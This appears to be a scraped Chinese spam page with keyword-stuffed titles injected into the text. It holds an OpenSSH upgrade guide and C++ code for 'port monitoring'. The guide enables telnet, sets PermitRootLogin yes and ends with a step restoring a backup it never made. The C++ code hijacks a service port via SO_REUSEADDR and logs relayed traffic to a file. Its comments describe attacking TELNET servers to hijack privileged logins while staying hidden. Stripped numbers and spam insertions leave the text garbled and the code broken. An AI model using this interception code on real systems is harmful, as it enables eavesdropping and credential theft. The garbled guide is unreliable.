皮皮网

【蚂蚁帮扶整站源码】【2022最新菠菜源码】【ww2源码】telnet服务源码_telnet服务端

2024-12-24 10:59:56 来源:罗源码头地址在哪里

1.如何平滑升级openssh,服务服务不影响root远程登录?
2.C++下如何实现端口监视

telnet服务源码_telnet服务端

如何平滑升级openssh,不影响root远程登录?

       为确保您的系统安全,可能需要更新OpenSSH至最新版本。源码此过程需同时更新OpenSSL和OpenSSH,服务服务因为OpenSSH依赖于OpenSSL。源码

       首先,服务服务检查当前使用的源码蚂蚁帮扶整站源码OpenSSH服务版本。执行命令:ssh -V。服务服务

       接着,源码为了防止在卸载OpenSSH过程中导致无法登录主机,服务服务安装并启动telnet服务。源码命令如下:

       使用yum -y install telnet安装telnet。服务服务

       使用yum -y install telnet-server安装telnet-server。源码

       启用telnet服务,服务服务2022最新菠菜源码命令为systemctl enable telnet.socket,源码并启动服务systemctl start telnet.socket。服务服务

       继续,准备更新OpenSSH所需的依赖包,命令为:yum -y install gcc keyutils-libs rpm-build krb5-devel libcom_err-devel libselinux-devel pam-* openssl-devel pkgconfig vsftpd zlib*。

       为了安全起见,ww2源码备份原有的SSH服务版本,执行以下命令:

       将/etc/ssh重命名为/etc/ssh.bak。

       将/usr/bin/ssh重命名为/usr/bin/ssh.bak。

       将/usr/sbin/sshd重命名为/usr/sbin/sshd.bak。

       下载最新版本的OpenSSH安装包,即openssh-9.7p1.tar.gz,星语飞飞源码并将此安装包通过WinSCP上传至/opt文件夹。

       卸载原有版本的OpenSSH rpm安装包,先查看是否需要删除的依赖包,然后执行卸载命令。如果提示有依赖文件,则使用强力删除模式:

       使用rpm -e `rpm -qa | grep openssh`卸载。云开发小店源码

       若提示依赖文件存在,则使用rpm -e `rpm -qa | grep openssh` --nodeps强力删除。

       编译并安装新版本的OpenSSH,首先解压下载的安装包,然后进入解压路径编译安装:

       使用cd /opt进入目录。

       解压安装包tar zxvf openssh-9.7p1.tar.gz。

       使用命令cd /opt/openssh-9.7p1/进入安装目录。

       执行./configure --sysconfdir=/etc/ssh进行配置。

       验证OpenSSH的执行路径,执行命令:which sshd。

       复制源码解压路径下的开机启动脚本sshd.init到/etc/init.d/文件夹,并启动sshd服务:

       使用cp /opt/openssh-9.7p1/contrib/redhat/sshd.init /etc/init.d/sshd复制。

       使用systemctl daemon-reload和service sshd start启动sshd服务。

       修改配置文件sshd_config,允许root用户通过ssh远程登录,使用命令:sed -i "/#PermitRootLogin prohibit-password/c\PermitRootLogin yes" /etc/ssh/sshd_config修改。

       复制源码解压路径的ssh-copy-id文件至/usr/local/bin/,并赋予执行权限:

       使用cp /opt/openssh-9.7p1/contrib/ssh-copy-id /usr/local/bin/复制。

       使用chmod +x /opt/openssh-9.7p1/contrib/ssh-copy-id设置权限。

       最后,验证OpenSSH更新是否成功,执行/usr/local/bin/ssh -V命令查看结果,若显示为OpenSSH_9.7p1,则更新完成。

       完成以上步骤后,使用命令mv /etc/security.bak /etc/security重新启用安全文件。

C++下如何实现端口监视

       çœ‹çœ‹æœ‰æ²¡æœ‰ç”¨

       ==============

       #include "stdafx.h"

       #include <winsock2.h>

       #include <windows.h>

       //#include <stdio.h>

       #include <stdlib.h>

       #include <fstream.h>

       DWORD WINAPI ClientThread(LPVOID lpParam);

       int main(int argc, char* argv[])

       {

        if (argc!=2)

        {

        printf("using: listen [your ip address]\nfor example:\n listen ...2\n");

        return 0;

        }

        WORD wVersionRequested;

        DWORD ret;

        WSADATA wsaData;

        BOOL val;

        SOCKADDR_IN saddr;

        SOCKADDR_IN scaddr;

        int err;

        SOCKET s;

        SOCKET sc;

        int caddsize;

        HANDLE mt;

        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );

        err = WSAStartup( wVersionRequested, &wsaData );

        if ( err != 0 ) {

        printf("error!WSAStartup failed!\n");

        return -1;

        }

        saddr.sin_family = AF_INET;

        //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

        saddr.sin_addr.s_addr = inet_addr(argv[1]);

        saddr.sin_port = htons();

        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = TRUE;

        //SO_REUSEADDR选项就是可以实现端口重绑定的

        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

        {

        printf("error!setsockopt failed!\n");

        return -1;

        }

        //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;

        //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽

        //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)

        {

        ret=GetLastError();

        printf("error!bind failed!\n");

        return -1;

        }

        listen(s,2);

        while(1)

        {

        caddsize = sizeof(scaddr);

        //接受连接请求

        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);

        if(sc!=INVALID_SOCKET)

        {

        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);

        if(mt==NULL)

        {

        printf("Thread Creat Failed!\n");

        break;

        }

        }

        CloseHandle(mt);

        }

        closesocket(s);

        WSACleanup();

        return 0;

       }

       DWORD WINAPI ClientThread(LPVOID lpParam)

       {

        SOCKET ss = (SOCKET)lpParam;

        SOCKET sc;

        char buf[];

        SOCKADDR_IN saddr;

        long num;

        DWORD val;

        DWORD ret;

        //如果是隐藏端口应用的话,可以在此处加一些判断

        //如果是自己的包,就可以进行一些特殊处理,不是的话通过.0.0.1进行转发

        saddr.sin_family = AF_INET;

        saddr.sin_addr.s_addr = inet_addr(".0.0.1");

        saddr.sin_port = htons();

        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = ;

        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)

        {

        printf("error!socket connect failed!\n");

        closesocket(sc);

        closesocket(ss);

        return -1;

        }

        // 写入文件:

        ofstream oFile("portlog.txt");

        if(!oFile)

        {

        printf("cannot write to the file.\n");

        closesocket(ss);

        closesocket(sc);

        return 0 ;

        }

        while(1)

        {

        //下面的代码主要是实现通过。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。

        //如果是嗅探内容的话,可以再此处进行内容分析和记录

        //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。

        num = recv(ss,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(sc,buf,num,0);

        }

        else if(num==0)

        break;

        num = recv(sc,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(ss,buf,num,0);

        }

        else if(num==0)

        break;

        }

        oFile.close();

        closesocket(ss);

        closesocket(sc);

        return 0 ;

       }